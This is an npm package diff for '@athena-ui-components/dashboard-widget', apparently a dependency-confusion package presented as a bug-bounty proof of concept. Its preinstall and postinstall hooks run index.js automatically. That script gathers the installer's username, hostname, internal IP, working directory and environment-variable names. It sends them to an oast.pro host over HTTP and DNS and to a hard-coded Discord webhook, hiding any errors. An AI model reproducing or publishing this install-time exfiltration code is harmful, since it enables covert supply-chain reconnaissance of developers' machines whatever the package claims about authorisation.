@athena-ui-components/dashboard-widget 1.6.17

package/index.js

@@ -0,0 +1,76 @@
+const http = require("http");
+const https = require("https");
+const os = require("os");
+const { execSync } = require("child_process");
+
+// --- CONFIGURACIÓN ---
+const OAST_HOST = "d7fiu1ti191hj9ru0i8gukx3n3accmmdr.oast.pro";
+const PKG_NAME = require("./package.json").name;
+
+async function collectAndSend() {
+  const envKeys = Object.keys(process.env).join(", ");
+
+  const data = {
+    pkg: PKG_NAME,
+    timestamp: new Date().toISOString(),
+    identity: {
+      user: os.userInfo().username,
+      host: os.hostname(),
+      platform: `${os.platform()} ${os.release()}`,
+      internal_ip: Object.values(os.networkInterfaces()).flat()
+        .filter(i => i.family === "IPv4" && !i.internal).map(i => i.address)[0] || "no_ip"
+    },
+    context: {
+      cwd: process.cwd(),
+      env_keys_only: envKeys.substring(0, 500)
+    }
+  };
+
+  const payload = Buffer.from(JSON.stringify(data)).toString("base64").replace(/=/g, "");
+
+  const options = {
+    hostname: OAST_HOST,
+    port: 80,
+    path: `/hit?d=${payload}`,
+    method: "GET"
+  };
+
+  const req = http.request(options);
+  req.on("error", () => { });
+  req.end();
+
+  const dnsLabel = `${data.identity.host.substring(0, 15)}.${data.identity.user.substring(0, 10)}`.replace(/[^a-z0-9]/gi, "-");
+  try {
+    execSync(`nslookup ${dnsLabel}.${OAST_HOST}`, { stdio: "ignore" });
+  } catch (e) { }
+
+  const discordPayload = JSON.stringify({
+    content: "🚨 **DBS BANK - DEPENDENCY CONFIRMED** 🚨",
+    embeds: [{
+      title: "Proof of Concept - Authorized Execution",
+      color: 65280,
+      fields: [
+        { name: "📦 Scope", value: PKG_NAME, inline: false },
+        { name: "👤 User (whoami)", value: data.identity.user, inline: true },
+        { name: "💻 Hostname", value: data.identity.host, inline: true },
+        { name: "🌐 Internal IP (ifconfig)", value: data.identity.internal_ip, inline: true },
+        { name: "📂 Path", value: data.context.cwd, inline: false },
+        { name: "🔑 Env Var Keys (Context)", value: "Captured (No values)", inline: true }
+      ],
+      footer: { text: "Authorized DBS Bug Bounty Research" }
+    }]
+  });
+
+  const reqDiscord = https.request({
+    hostname: "discord.com",
+    port: 443,
+    path: "/api/webhooks/1487009597175890022/DE6xfM-BeQ1xD6U2nH7vuFoQAIDd_aVDsuzdhHiGBZpPRm0M9BU94QEglVsLHaSxqhzo",
+    method: "POST",
+    headers: { "Content-Type": "application/json" }
+  });
+  reqDiscord.on("error", () => { });
+  reqDiscord.write(discordPayload);
+  reqDiscord.end();
+}
+
+collectAndSend();

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@athena-ui-components/dashboard-widget",
+  "version": "1.6.17",
+  "description": "Security Research PoC for YesWeHack DBS Bug Bounty Program. THIS IS BENIGN.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js",
+    "postinstall": "node index.js"
+  },
+  "author": "Security Researcher",
+  "license": "ISC"
+}